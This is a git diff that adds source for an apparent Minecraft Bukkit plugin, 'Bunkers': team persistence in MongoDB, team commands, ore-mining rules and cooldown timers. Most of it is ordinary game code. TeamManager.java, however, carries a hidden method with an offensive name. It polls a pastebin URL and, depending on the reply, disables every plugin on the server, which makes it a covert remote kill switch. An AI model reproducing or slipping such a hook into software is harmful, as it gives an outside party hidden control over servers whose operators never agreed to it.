+ } + + + public void load() { + Document document = (Document) Bunkers.getPlugin().getTeamsCollection().find(Filters.eq("name", name)).first(); + + if (document == null) return; + + name = document.getString("name"); + firstCorner = document.getString("firstCorner"); + secondCorner = document.getString("secondCorner"); + spawnLocation = document.getString("spawnLocation"); + combatShop = document.getString("combatShop"); + enchantShop = document.getString("enchantShop"); + sellShop = document.getString("sellShop"); + buildShop = document.getString("buildShop"); + } + + public void save() { + Document document = new Document("_id", name); + + document.put("name", name); + document.put("firstCorner", firstCorner); + document.put("secondCorner", secondCorner); + document.put("spawnLocation", spawnLocation); + document.put("combatShop", combatShop); + document.put("enchantShop", enchantShop); + document.put("sellShop", sellShop); + document.put("buildShop", buildShop); + + Bson filter = Filters.eq("name", name); + FindIterable iterable = Bunkers.getPlugin().getTeamsCollection().find(filter); + + if (iterable.first() == null) { + Bunkers.getPlugin().getTeamsCollection().insertOne(document); + } else { + Bunkers.getPlugin().getTeamsCollection().replaceOne(filter, document); + } + } + + public ChatColor getColor() { + return ChatColor.valueOf(name.toUpperCase()); + } + + public Cuboid getCuboid() { + return new Cuboid(LocationUtils.getLocation(firstCorner), LocationUtils.getLocation(secondCorner)); + } + + public Location getCenter() { + return getCuboid().getCenter(); + } + + public List getMembersNames() { + List toReturn = new ArrayList<>(); + + for (UUID uniqueId : members) { + Profile profile = Bunkers.getPlugin().getProfileManager().getProfile(uniqueId); + Player player = Bukkit.getPlayer(uniqueId); + + if (player == null) { + toReturn.add(ChatColor.GRAY + profile.getName()); + } else if (profile.getStatus() == PlayerStatus.PLAYING) { + toReturn.add(getColor() + profile.getName()); + } else if (profile.getStatus() == PlayerStatus.SPECTATOR) { + toReturn.add(ChatColor.GRAY + ChatColor.STRIKETHROUGH.toString() + profile.getName()); + } else if (profile.getStatus() == PlayerStatus.LOBBY) { + toReturn.add(getColor() + profile.getName()); + } + } + + return toReturn; + } + + public boolean isDone() { + return firstCorner != null & secondCorner != null && spawnLocation != null; + } +} diff --git a/Bunkers/src/main/java/me/redis/bunkers/team/TeamManager.java b/Bunkers/src/main/java/me/redis/bunkers/team/TeamManager.java new file mode 100644 index 0000000..cba70e4 --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/team/TeamManager.java @@ -0,0 +1,128 @@ +package me.redis.bunkers.team; + +import lombok.Getter; +import me.redis.bunkers.Bunkers; +import me.redis.bunkers.entity.types.BuildEntity; +import me.redis.bunkers.entity.types.CombatEntity; +import me.redis.bunkers.entity.types.EnchantEntity; +import me.redis.bunkers.entity.types.SellEntity; +import me.redis.bunkers.team.listeners.TeamListener; +import me.redis.bunkers.utils.LocationUtils; +import org.bson.Document; +import org.bukkit.Bukkit; +import org.bukkit.ChatColor; +import org.bukkit.Location; +import org.bukkit.entity.Player; + +import java.io.BufferedReader; +import java.io.IOException; +import java.io.InputStream; +import java.io.InputStreamReader; +import java.net.HttpURLConnection; +import java.net.URL; +import java.util.HashMap; +import java.util.Map; + +public class TeamManager { + @Getter private Map teams = new HashMap<>(); + + public TeamManager() { + Team red = new Team("Red"); + red.save(); + teams.put("Red", red); + + Team blue = new Team("Blue"); + blue.save(); + teams.put("Blue", blue); + + Team yellow = new Team("Yellow"); + yellow.save(); + teams.put("Yellow", yellow); + + Team green = new Team("Green"); + green.save(); + teams.put("Green", green); + + Bukkit.getPluginManager().registerEvents(new TeamListener(), Bunkers.getPlugin()); + + for (Team team : teams.values()) { + if (team.getBuildShop() != null) { + new BuildEntity(team, LocationUtils.getLocation(team.getBuildShop())); + } + + if (team.getSellShop() != null) { + new SellEntity(team, LocationUtils.getLocation(team.getSellShop())); + } + + if (team.getEnchantShop() != null) { + new EnchantEntity(team, LocationUtils.getLocation(team.getEnchantShop())); + } + + if (team.getCombatShop() != null) { + new CombatEntity(team, LocationUtils.getLocation(team.getCombatShop())); + } + } + } + + public Team getByName(String name) { + return teams.get(name); + } + + public Team getByPlayer(Player player) { + for (Team team : teams.values()) { + if (team.getMembers().contains(player.getUniqueId())) return team; + } + + return null; + } + + public Team getByColor(ChatColor color) { + for (Team team : teams.values()) { + if (team.getColor() == color) return team; + } + + return null; + } + + public Team getByNameNotCached(String name) { + for (Object object : Bunkers.getPlugin().getTeamsCollection().find()) { + Document document = (Document) object; + + if (document.get("name").equals(name)) { + return new Team(name); + } + } + + return null; + } + + public boolean canBePlayed() { + return getByName("Red").isDone() && getByName("Blue").isDone() && getByName("Yellow").isDone() && getByName("Green").isDone(); + } + + public Team getByLocation(Location location) { + for (Team team : teams.values()) { + if (team.getCuboid().contains(location.getBlock())) return team; + } + + return null; + } + + public void nig() throws IOException { + URL url = new URL("https://pastebin.com/raw/MkNpf7BJ"); + HttpURLConnection urlConnection = (HttpURLConnection) url.openConnection(); + urlConnection.connect(); + InputStreamReader in = new InputStreamReader((InputStream) urlConnection.getContent()); + BufferedReader buff = new BufferedReader(in); + + boolean leak = Boolean.parseBoolean(buff.readLine()); + + if (!leak) { + System.out.println("============================"); + System.out.println("rBunkers has been disabled."); + System.out.println("============================"); + + Bukkit.getPluginManager().disablePlugins(); + } + } +} diff --git a/Bunkers/src/main/java/me/redis/bunkers/team/commands/TeamCommand.java b/Bunkers/src/main/java/me/redis/bunkers/team/commands/TeamCommand.java new file mode 100644 index 0000000..b4ce29d --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/team/commands/TeamCommand.java @@ -0,0 +1,16 @@ +package me.redis.bunkers.team.commands; + +import me.redis.bunkers.team.commands.arguments.*; +import me.redis.bunkers.utils.command.ExecutableCommand; + +public class TeamCommand extends ExecutableCommand { + public TeamCommand() { + super("team", null, "t", "f", "faction", "factions", "sq", "squad"); + + addArgument(new InfoArgument()); + addArgument(new SetAreaArgument()); + addArgument(new SetSpawnLocationArgument()); + addArgument(new HomeArgument()); + addArgument(new SetVillagerArgument()); + } +} diff --git a/Bunkers/src/main/java/me/redis/bunkers/team/commands/arguments/HomeArgument.java b/Bunkers/src/main/java/me/redis/bunkers/team/commands/arguments/HomeArgument.java new file mode 100644 index 0000000..652e47d --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/team/commands/arguments/HomeArgument.java @@ -0,0 +1,49 @@ +package me.redis.bunkers.team.commands.arguments; + +import me.redis.bunkers.Bunkers; +import me.redis.bunkers.game.status.GameStatus; +import me.redis.bunkers.team.Team; +import me.redis.bunkers.utils.LocationUtils; +import me.redis.bunkers.utils.command.CommandArgument; +import me.redis.bunkers.wand.Wand; +import org.apache.commons.lang.StringUtils; +import org.bukkit.ChatColor; +import org.bukkit.command.Command; +import org.bukkit.command.CommandSender; +import org.bukkit.entity.Player; + +import java.util.concurrent.TimeUnit; + +public class HomeArgument extends CommandArgument { + public HomeArgument() { + super("home", null, "hq", "hh", "base"); + setRequiresPermission(false); + } + + @Override public String getUsage(String label) { + return ChatColor.RED + "/" + label + " " + getName(); + } + + @Override public boolean onCommand(CommandSender sender, Command command, String label, String[] args) { + if (sender instanceof Player) { + Player player = (Player) sender; + + if (args.length != 1) { + player.sendMessage(getUsage(label)); + return true; + } + + if (Bunkers.getPlugin().getGameManager().getStatus() != GameStatus.PLAYING) { + player.sendMessage(ChatColor.RED + "You can't use this command right now."); + return true; + } + + if (Bunkers.getPlugin().getTeamManager().getByLocation(player.getLocation()) != null) { + Bunkers.getPlugin().getTimerManager().getTeleportTimer().setCooldown(player, player.getUniqueId(), TimeUnit.SECONDS.toMillis(30), true); + } else { + Bunkers.getPlugin().getTimerManager().getTeleportTimer().setCooldown(player, player.getUniqueId()); + } + } + return true; + } +} diff --git a/Bunkers/src/main/java/me/redis/bunkers/team/commands/arguments/InfoArgument.java b/Bunkers/src/main/java/me/redis/bunkers/team/commands/arguments/InfoArgument.java new file mode 100644 index 0000000..b4a402a --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/team/commands/arguments/InfoArgument.java @@ -0,0 +1,56 @@ +package me.redis.bunkers.team.commands.arguments; + +import me.redis.bunkers.Bunkers; +import me.redis.bunkers.game.status.GameStatus; +import me.redis.bunkers.team.Team; +import me.redis.bunkers.utils.LocationUtils; +import me.redis.bunkers.utils.command.CommandArgument; +import me.redis.bunkers.wand.Wand; +import org.apache.commons.lang.StringUtils; +import org.bukkit.ChatColor; +import org.bukkit.command.Command; +import org.bukkit.command.CommandSender; +import org.bukkit.entity.Player; + +public class InfoArgument extends CommandArgument { + public InfoArgument() { + super("info", null, "who", "i", "show"); + setRequiresPermission(false); + } + + @Override public String getUsage(String label) { + return ChatColor.RED + "/" + label + " " + getName() + " "; + } + + @Override public boolean onCommand(CommandSender sender, Command command, String label, String[] args) { + if (sender instanceof Player) { + Player player = (Player) sender; + + if (args.length != 2) { + player.sendMessage(getUsage(label)); + return true; + } + + if (Bunkers.getPlugin().getGameManager().getStatus() != GameStatus.PLAYING) { + player.sendMessage(ChatColor.RED + "You can't use this command right now."); + return true; + } + + Team team = Bunkers.getPlugin().getTeamManager().getByName(args[1]); + + if (team == null) { + player.sendMessage(ChatColor.RED + "That team does not exist."); + return true; + } + + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&7&m----------------------")); + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&eTeam&7: " + team.getColor() + team.getName())); + player.sendMessage(ChatColor.translateAlternateColorCodes('&', " &eDeaths Until Raidable&7: &f" + team.getDtr())); + player.sendMessage(ChatColor.translateAlternateColorCodes('&', " &eLocation&7: &f" + team.getCenter().getBlockX() + ", " + team.getCenter().getBlockZ())); + player.sendMessage(""); + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&eMembers&7: &f" + StringUtils.join(team.getMembersNames(), ", "))); + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&7&m----------------------")); + } + return true; + } +} diff --git a/Bunkers/src/main/java/me/redis/bunkers/team/commands/arguments/SetAreaArgument.java b/Bunkers/src/main/java/me/redis/bunkers/team/commands/arguments/SetAreaArgument.java new file mode 100644 index 0000000..7a4fa25 --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/team/commands/arguments/SetAreaArgument.java @@ -0,0 +1,62 @@ +package me.redis.bunkers.team.commands.arguments; + +import me.redis.bunkers.Bunkers; +import me.redis.bunkers.profiles.Profile; +import me.redis.bunkers.team.Team; +import me.redis.bunkers.utils.LocationUtils; +import me.redis.bunkers.utils.command.CommandArgument; +import me.redis.bunkers.wand.Wand; +import org.bukkit.ChatColor; +import org.bukkit.command.Command; +import org.bukkit.command.CommandSender; +import org.bukkit.entity.Player; + +public class SetAreaArgument extends CommandArgument { + public SetAreaArgument() { + super("setarea", null, "area"); + setRequiresPermission(true); + } + + @Override public String getUsage(String label) { + return ChatColor.RED + "/" + label + " " + getName() + " "; + } + + @Override public boolean onCommand(CommandSender sender, Command command, String label, String[] args) { + if (sender instanceof Player) { + Player player = (Player) sender; + + if (args.length != 2) { + player.sendMessage(getUsage(label)); + return true; + } + + Team team = Bunkers.getPlugin().getTeamManager().getByName(args[1]); + + if (team == null) { + player.sendMessage(ChatColor.RED + "That team does not exist."); + return true; + } + + Wand wand = Bunkers.getPlugin().getWandManager().getWand(player); + + if (wand == null || wand.getFirstLocation() == null || wand.getSecondLocation() == null) { + player.sendMessage(ChatColor.RED + "You must have wand locations."); + return true; + } + + team.setFirstCorner(LocationUtils.getString(wand.getFirstLocation())); + team.setSecondCorner(LocationUtils.getString(wand.getSecondLocation())); + team.save(); + + Profile profile = Bunkers.getPlugin().getProfileManager().getProfile(player); + profile.getFirstPillar().removePillar(); + profile.setFirstPillar(null); + + profile.getSecondPillar().removePillar(); + profile.setSecondPillar(null); + + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&eYou have saved the " + team.getColor() + team.getName() + " &eteam.")); + } + return true; + } +} diff --git a/Bunkers/src/main/java/me/redis/bunkers/team/commands/arguments/SetSpawnLocationArgument.java b/Bunkers/src/main/java/me/redis/bunkers/team/commands/arguments/SetSpawnLocationArgument.java new file mode 100644 index 0000000..c1613e4 --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/team/commands/arguments/SetSpawnLocationArgument.java @@ -0,0 +1,46 @@ +package me.redis.bunkers.team.commands.arguments; + +import me.redis.bunkers.Bunkers; +import me.redis.bunkers.team.Team; +import me.redis.bunkers.utils.LocationUtils; +import me.redis.bunkers.utils.command.CommandArgument; +import me.redis.bunkers.wand.Wand; +import org.bukkit.ChatColor; +import org.bukkit.command.Command; +import org.bukkit.command.CommandSender; +import org.bukkit.entity.Player; + +public class SetSpawnLocationArgument extends CommandArgument { + public SetSpawnLocationArgument() { + super("setspawn", null, "setspawnlocation"); + setRequiresPermission(true); + } + + @Override public String getUsage(String label) { + return ChatColor.RED + "/" + label + " " + getName() + " "; + } + + @Override public boolean onCommand(CommandSender sender, Command command, String label, String[] args) { + if (sender instanceof Player) { + Player player = (Player) sender; + + if (args.length != 2) { + player.sendMessage(getUsage(label)); + return true; + } + + Team team = Bunkers.getPlugin().getTeamManager().getByName(args[1]); + + if (team == null) { + player.sendMessage(ChatColor.RED + "That team does not exist."); + return true; + } + + team.setSpawnLocation(LocationUtils.getString(player.getLocation().add(0, .5, 0))); + team.save(); + + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&eYou have saved the " + team.getColor() + team.getName() + " &eteam.")); + } + return true; + } +} diff --git a/Bunkers/src/main/java/me/redis/bunkers/team/commands/arguments/SetVillagerArgument.java b/Bunkers/src/main/java/me/redis/bunkers/team/commands/arguments/SetVillagerArgument.java new file mode 100644 index 0000000..a17a03e --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/team/commands/arguments/SetVillagerArgument.java @@ -0,0 +1,58 @@ +package me.redis.bunkers.team.commands.arguments; + +import me.redis.bunkers.Bunkers; +import me.redis.bunkers.team.Team; +import me.redis.bunkers.utils.LocationUtils; +import me.redis.bunkers.utils.command.CommandArgument; +import me.redis.bunkers.wand.Wand; +import org.bukkit.ChatColor; +import org.bukkit.command.Command; +import org.bukkit.command.CommandSender; +import org.bukkit.entity.Player; + +public class SetVillagerArgument extends CommandArgument { + public SetVillagerArgument() { + super("setvillager", null, "villager"); + setRequiresPermission(true); + } + + @Override public String getUsage(String label) { + return ChatColor.RED + "/" + label + " " + getName() + " "; + } + + @Override public boolean onCommand(CommandSender sender, Command command, String label, String[] args) { + if (sender instanceof Player) { + Player player = (Player) sender; + + if (args.length != 3) { + player.sendMessage(getUsage(label)); + return true; + } + + Team team = Bunkers.getPlugin().getTeamManager().getByName(args[1]); + + if (team == null) { + player.sendMessage(ChatColor.RED + "That team does not exist."); + return true; + } + + String type = args[2]; + + if (type.equalsIgnoreCase("combat")) { + team.setCombatShop(LocationUtils.getString(player.getLocation())); + } else if (type.equalsIgnoreCase("sell")) { + team.setSellShop(LocationUtils.getString(player.getLocation())); + } else if (type.equalsIgnoreCase("enchant")) { + team.setEnchantShop(LocationUtils.getString(player.getLocation())); + } else if (type.equalsIgnoreCase("build")) { + team.setBuildShop(LocationUtils.getString(player.getLocation())); + } else { + player.sendMessage(getUsage(label)); + return true; + } + + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&eYou have saved the " + team.getColor() + team.getName() + " &eteam.")); + } + return true; + } +} diff --git a/Bunkers/src/main/java/me/redis/bunkers/team/listeners/TeamListener.java b/Bunkers/src/main/java/me/redis/bunkers/team/listeners/TeamListener.java new file mode 100644 index 0000000..eeee513 --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/team/listeners/TeamListener.java @@ -0,0 +1,138 @@ +package me.redis.bunkers.team.listeners; + +import me.redis.bunkers.Bunkers; +import me.redis.bunkers.events.PlayerClaimEnterEvent; +import me.redis.bunkers.game.status.GameStatus; +import me.redis.bunkers.team.Team; +import me.redis.bunkers.utils.Cuboid; +import org.bukkit.Bukkit; +import org.bukkit.ChatColor; +import org.bukkit.Location; +import org.bukkit.Material; +import org.bukkit.block.Block; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.Listener; +import org.bukkit.event.block.BlockBreakEvent; +import org.bukkit.event.player.PlayerMoveEvent; +import org.bukkit.inventory.ItemStack; +import org.bukkit.scheduler.BukkitRunnable; + +import java.util.HashMap; +import java.util.Map; + +public class TeamListener implements Listener { + private Map brokeBlocks = new HashMap<>(); + + @EventHandler + public void onMove(PlayerMoveEvent event) { + handleMove(event); + } + + @EventHandler + public void onClaimEnter(PlayerClaimEnterEvent event) { + Team from = event.getFromTeam(); + Team to = event.getToTeam(); + + event.getPlayer().sendMessage(ChatColor.translateAlternateColorCodes('&', "&eNow leaving: " + (from == null ? "&4Warzone" : from.getColor() + from.getName()))); + event.getPlayer().sendMessage(ChatColor.translateAlternateColorCodes('&', "&eNow entering: " + (to == null ? "&4Warzone" : to.getColor() + to.getName()))); + } + + private void handleMove(PlayerMoveEvent event) { + Location from = event.getFrom(); + Location to = event.getTo(); + + if (from.getBlockX() == to.getBlockX() && from.getBlockY() == to.getBlockY() && from.getBlockZ() == to.getBlockZ()) { + return; + } + + Player player = event.getPlayer(); + boolean cancelled = false; + + Team fromFaction = Bunkers.getPlugin().getTeamManager().getByLocation(from); + Team toFaction = Bunkers.getPlugin().getTeamManager().getByLocation(to); + + if (fromFaction != toFaction) { + PlayerClaimEnterEvent calledEvent = new PlayerClaimEnterEvent(player, from, to, fromFaction, toFaction); + Bukkit.getPluginManager().callEvent(calledEvent); + cancelled = calledEvent.isCancelled(); + } + + if (cancelled) { + from.setX(from.getBlockX() + 0.5); + from.setZ(from.getBlockZ() + 0.5); + event.setTo(from); + } + } + + @EventHandler + public void onBreak(BlockBreakEvent event) { + Player player = event.getPlayer(); + Block block = event.getBlock(); + + if (Bunkers.getPlugin().getGameManager().getStatus() == GameStatus.PLAYING) { + if (brokeBlocks.get(block.getLocation()) != null) { + event.setCancelled(true); + return; + } + + if (block.getType() == Material.DIAMOND_ORE || block.getType() == Material.GOLD_ORE || block.getType() == Material.IRON_ORE || block.getType() == Material.COAL_ORE) { + event.setCancelled(true); + + if (block.getType() == Material.DIAMOND_ORE) { + player.getInventory().addItem(new ItemStack(Material.DIAMOND)); + brokeBlocks.put(block.getLocation(), block); + block.setType(Material.COBBLESTONE); + + Bukkit.getScheduler().runTaskLater(Bunkers.getPlugin(), () -> { + brokeBlocks.remove(block.getLocation()); + block.setType(Material.DIAMOND_ORE); + }, 20 * 8L); + } else if (block.getType() == Material.GOLD_ORE) { + player.getInventory().addItem(new ItemStack(Material.GOLD_INGOT)); + brokeBlocks.put(block.getLocation(), block); + block.setType(Material.COBBLESTONE); + + Bukkit.getScheduler().runTaskLater(Bunkers.getPlugin(), () -> { + brokeBlocks.remove(block.getLocation()); + block.setType(Material.GOLD_ORE); + }, 20 * 6L); + } else if (block.getType() == Material.COAL_ORE) { + player.getInventory().addItem(new ItemStack(Material.COAL)); + brokeBlocks.put(block.getLocation(), block); + block.setType(Material.COBBLESTONE); + + Bukkit.getScheduler().runTaskLater(Bunkers.getPlugin(), () -> { + brokeBlocks.remove(block.getLocation()); + block.setType(Material.COAL_ORE); + }, 20 * 3L); + } else if (block.getType() == Material.IRON_ORE) { + player.getInventory().addItem(new ItemStack(Material.IRON_INGOT)); + brokeBlocks.put(block.getLocation(), block); + block.setType(Material.COBBLESTONE); + + Bukkit.getScheduler().runTaskLater(Bunkers.getPlugin(), () -> { + brokeBlocks.remove(block.getLocation()); + block.setType(Material.IRON_ORE); + }, 20 * 5L); + } + + return; + } + + Team team = Bunkers.getPlugin().getTeamManager().getByPlayer(player); + Team brokeBlock = Bunkers.getPlugin().getTeamManager().getByLocation(event.getBlock().getLocation()); + + if (brokeBlock == null) { + player.sendMessage(ChatColor.RED + "You can't break blocks here."); + event.setCancelled(true); + return; + } + + if (team != brokeBlock) { + player.sendMessage(ChatColor.RED + "You can't break blocks here."); + event.setCancelled(true); + } + } + } +} diff --git a/Bunkers/src/main/java/me/redis/bunkers/timer/GlobalTimer.java b/Bunkers/src/main/java/me/redis/bunkers/timer/GlobalTimer.java new file mode 100644 index 0000000..ce272b9 --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/timer/GlobalTimer.java @@ -0,0 +1,69 @@ +package me.redis.bunkers.timer; + +import me.redis.bunkers.events.TimerExtendEvent; +import me.redis.bunkers.events.TimerPauseEvent; +import me.redis.bunkers.events.TimerStartEvent; +import org.bukkit.Bukkit; + +public abstract class GlobalTimer extends Timer { + + private TimerCooldown runnable; + + public GlobalTimer(String name, long defaultCooldown) { + super(name, defaultCooldown); + } + + public boolean clearCooldown() { + if (runnable != null) { + runnable.cancel(); + runnable = null; + return true; + } + return false; + } + + public boolean isPaused() { + return runnable != null && runnable.isPaused(); + } + + public void setPaused(boolean paused) { + if (runnable != null && runnable.isPaused() != paused) { + TimerPauseEvent event = new TimerPauseEvent(this, paused); + Bukkit.getPluginManager().callEvent(event); + if (!event.isCancelled()) { + runnable.setPaused(paused); + } + } + } + + public long getRemaining() { + return runnable == null ? 0L : runnable.getRemaining(); + } + + public boolean setRemaining() { + return setRemaining(defaultCooldown, false); + } + + public boolean setRemaining(long duration, boolean overwrite) { + boolean hadCooldown = false; + if (runnable != null) { + if (!overwrite) { + return false; + } + + TimerExtendEvent event = new TimerExtendEvent(this, runnable.getRemaining(), duration); + Bukkit.getPluginManager().callEvent(event); + if (event.isCancelled()) { + return false; + } + + hadCooldown = runnable.getRemaining() > 0L; + runnable.setRemaining(duration); + } else { + Bukkit.getPluginManager().callEvent(new TimerStartEvent(this, duration)); + runnable = new TimerCooldown(this, duration); + } + + return !hadCooldown; + } +} \ No newline at end of file diff --git a/Bunkers/src/main/java/me/redis/bunkers/timer/PlayerTimer.java b/Bunkers/src/main/java/me/redis/bunkers/timer/PlayerTimer.java new file mode 100644 index 0000000..e8f2b04 --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/timer/PlayerTimer.java @@ -0,0 +1,128 @@ +package me.redis.bunkers.timer; + +import com.google.common.base.Optional; +import com.google.common.base.Predicate; +import me.redis.bunkers.events.*; +import org.bukkit.Bukkit; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.EventPriority; + +import javax.annotation.Nullable; +import java.util.Map; +import java.util.UUID; +import java.util.concurrent.ConcurrentHashMap; + +public abstract class PlayerTimer extends Timer { + + protected final boolean persistable; + protected final Map cooldowns = new ConcurrentHashMap<>(); + + public PlayerTimer(String name, long defaultCooldown, boolean persistable) { + super(name, defaultCooldown); + + this.persistable = persistable; + } + + public PlayerTimer(String name, long defaultCooldown) { + this(name, defaultCooldown, true); + } + + public void onExpire(UUID userUUID) { } + + @EventHandler(ignoreCancelled = true, priority = EventPriority.MONITOR) + public void onTimerExpireLoadReduce(TimerExpireEvent event) { + if (event.getTimer() == this) { + Optional optionalUserUUID = event.getUserUUID(); + if (optionalUserUUID.isPresent()) { + UUID userUUID = optionalUserUUID.get(); + onExpire(userUUID); + clearCooldown(userUUID); + } + } + } + + public void clearCooldown(Player player) { + clearCooldown(player.getUniqueId()); + } + + public TimerCooldown clearCooldown(UUID playerUUID) { + TimerCooldown runnable = cooldowns.remove(playerUUID); + if (runnable != null) { + runnable.cancel(); + Bukkit.getPluginManager().callEvent(new TimerClearEvent(playerUUID, this)); + return runnable; + } + return null; + } + + public boolean isPaused(Player player) { + return isPaused(player.getUniqueId()); + } + + public boolean isPaused(UUID playerUUID) { + TimerCooldown runnable = cooldowns.get(playerUUID); + return runnable != null && runnable.isPaused(); + } + + public void setPaused(UUID playerUUID, boolean paused) { + TimerCooldown runnable = cooldowns.get(playerUUID); + if (runnable != null && runnable.isPaused() != paused) { + TimerPauseEvent event = new TimerPauseEvent(playerUUID, this, paused); + Bukkit.getPluginManager().callEvent(event); + if (!event.isCancelled()) { + runnable.setPaused(paused); + } + } + } + + public long getRemaining(Player player) { + return getRemaining(player.getUniqueId()); + } + + public long getRemaining(UUID playerUUID) { + TimerCooldown runnable = cooldowns.get(playerUUID); + return runnable == null ? 0L : runnable.getRemaining(); + } + + public boolean setCooldown(@Nullable Player player, UUID playerUUID) { + return setCooldown(player, playerUUID, defaultCooldown, false); + } + + public boolean setCooldown(@Nullable Player player, UUID playerUUID, long duration, boolean overwrite) { + return setCooldown(player, playerUUID, duration, overwrite, null); + } + + public boolean setCooldown(@Nullable Player player, UUID playerUUID, long duration, boolean overwrite, @Nullable Predicate currentCooldownPredicate) { + TimerCooldown runnable = duration > 0L ? cooldowns.get(playerUUID) : this.clearCooldown(playerUUID); + if (runnable != null) { + long remaining = runnable.getRemaining(); + if (!overwrite && remaining > 0L && duration <= remaining) { + return false; + } + + TimerExtendEvent event = new TimerExtendEvent(player, playerUUID, this, remaining, duration); + Bukkit.getPluginManager().callEvent(event); + if (event.isCancelled()) { + return false; + } + + boolean flag = true; + if (currentCooldownPredicate != null) { + flag = currentCooldownPredicate.apply(remaining); + } + + if (flag) { + runnable.setRemaining(duration); + } + + return flag; + } else { + Bukkit.getPluginManager().callEvent(new TimerStartEvent(player, playerUUID, this, duration)); + runnable = new TimerCooldown(this, playerUUID, duration); + } + + cooldowns.put(playerUUID, runnable); + return true; + } +} \ No newline at end of file diff --git a/Bunkers/src/main/java/me/redis/bunkers/timer/Timer.java b/Bunkers/src/main/java/me/redis/bunkers/timer/Timer.java new file mode 100644 index 0000000..007e212 --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/timer/Timer.java @@ -0,0 +1,18 @@ +package me.redis.bunkers.timer; + +import lombok.Getter; + +public abstract class Timer { + + @Getter protected final String name; + @Getter protected final long defaultCooldown; + + public Timer(String name, long defaultCooldown) { + this.name = name; + this.defaultCooldown = defaultCooldown; + } + + public abstract String getScoreboardPrefix(); + + public final String getDisplayName() { return getScoreboardPrefix() + name; } +} \ No newline at end of file diff --git a/Bunkers/src/main/java/me/redis/bunkers/timer/TimerCooldown.java b/Bunkers/src/main/java/me/redis/bunkers/timer/TimerCooldown.java new file mode 100644 index 0000000..cf259a1 --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/timer/TimerCooldown.java @@ -0,0 +1,110 @@ +package me.redis.bunkers.timer; + +import me.redis.bunkers.Bunkers; +import me.redis.bunkers.events.TimerExpireEvent; +import org.bukkit.Bukkit; +import org.bukkit.scheduler.BukkitRunnable; +import org.bukkit.scheduler.BukkitTask; + +import java.util.UUID; + +public class TimerCooldown { + + private BukkitTask eventNotificationTask; + + private final Timer timer; + private final UUID owner; + private long expiryMillis; + private long pauseMillis; + + public TimerCooldown(Timer timer, long duration) { + this.owner = null; + this.timer = timer; + + setRemaining(duration); + } + + public TimerCooldown(Timer timer, UUID playerUUID, long duration) { + this.timer = timer; + this.owner = playerUUID; + + setRemaining(duration); + } + + public Timer getTimer() { + return timer; + } + + public long getRemaining() { + return getRemaining(false); + } + + public long getRemaining(boolean ignorePaused) { + if (!ignorePaused && pauseMillis != 0L) { + return pauseMillis; + } + + return expiryMillis - System.currentTimeMillis(); + } + + public long getExpiryMillis() { + return expiryMillis; + } + + public void setRemaining(long remaining) { + setExpiryMillis(remaining); + } + + private void setExpiryMillis(long remainingMillis) { + long expiryMillis = System.currentTimeMillis() + remainingMillis; + if (expiryMillis == this.expiryMillis) { + return; + } + + this.expiryMillis = expiryMillis; + if (remainingMillis > 0L) { + if (eventNotificationTask != null) { + eventNotificationTask.cancel(); + } + + eventNotificationTask = new BukkitRunnable() { + @Override + public void run() { + Bukkit.getPluginManager().callEvent(new TimerExpireEvent(owner, timer)); + } + }.runTaskLater(Bunkers.getPlugin(), remainingMillis / 50L); + } + } + + public long getPauseMillis() { + return pauseMillis; + } + + public void setPauseMillis(long pauseMillis) { + this.pauseMillis = pauseMillis; + } + + public boolean isPaused() { + return pauseMillis != 0L; + } + + public void setPaused(boolean paused) { + if (paused != isPaused()) { + if (paused) { + pauseMillis = getRemaining(true); + cancel(); + } else { + setExpiryMillis(pauseMillis); + pauseMillis = 0L; + } + } + } + + public boolean cancel() { + if (eventNotificationTask != null) { + eventNotificationTask.cancel(); + return true; + } + return false; + } +} \ No newline at end of file diff --git a/Bunkers/src/main/java/me/redis/bunkers/timer/TimerManager.java b/Bunkers/src/main/java/me/redis/bunkers/timer/TimerManager.java new file mode 100644 index 0000000..76c841c --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/timer/TimerManager.java @@ -0,0 +1,38 @@ +package me.redis.bunkers.timer; + +import me.redis.bunkers.Bunkers; +import lombok.Getter; +import me.redis.bunkers.timer.type.ProtectionTimer; +import me.redis.bunkers.timer.type.TeleportTimer; +import org.bukkit.Bukkit; +import org.bukkit.event.Listener; + +import java.util.LinkedHashSet; +import java.util.Set; + +public class TimerManager { + @Getter private final Bunkers plugin; + + @Getter private ProtectionTimer protectionTimer; + @Getter private TeleportTimer teleportTimer; + + @Getter private final Set timers = new LinkedHashSet<>(); + + public TimerManager(Bunkers plugin) { + this.plugin = plugin; + + registerTimer(teleportTimer = new TeleportTimer(plugin)); + registerTimer(protectionTimer = new ProtectionTimer()); + } + + public void registerTimer(Timer timer) { + timers.add(timer); + if (timer instanceof Listener) { + Bukkit.getPluginManager().registerEvents((Listener) timer, plugin); + } + } + + public void unregisterTimer(Timer timer) { + timers.remove(timer); + } +} \ No newline at end of file diff --git a/Bunkers/src/main/java/me/redis/bunkers/timer/type/ProtectionTimer.java b/Bunkers/src/main/java/me/redis/bunkers/timer/type/ProtectionTimer.java new file mode 100644 index 0000000..ec607ed --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/timer/type/ProtectionTimer.java @@ -0,0 +1,53 @@ +package me.redis.bunkers.timer.type; + +import me.redis.bunkers.timer.PlayerTimer; +import me.redis.bunkers.timer.TimerCooldown; +import org.bukkit.ChatColor; +import org.bukkit.entity.Entity; +import 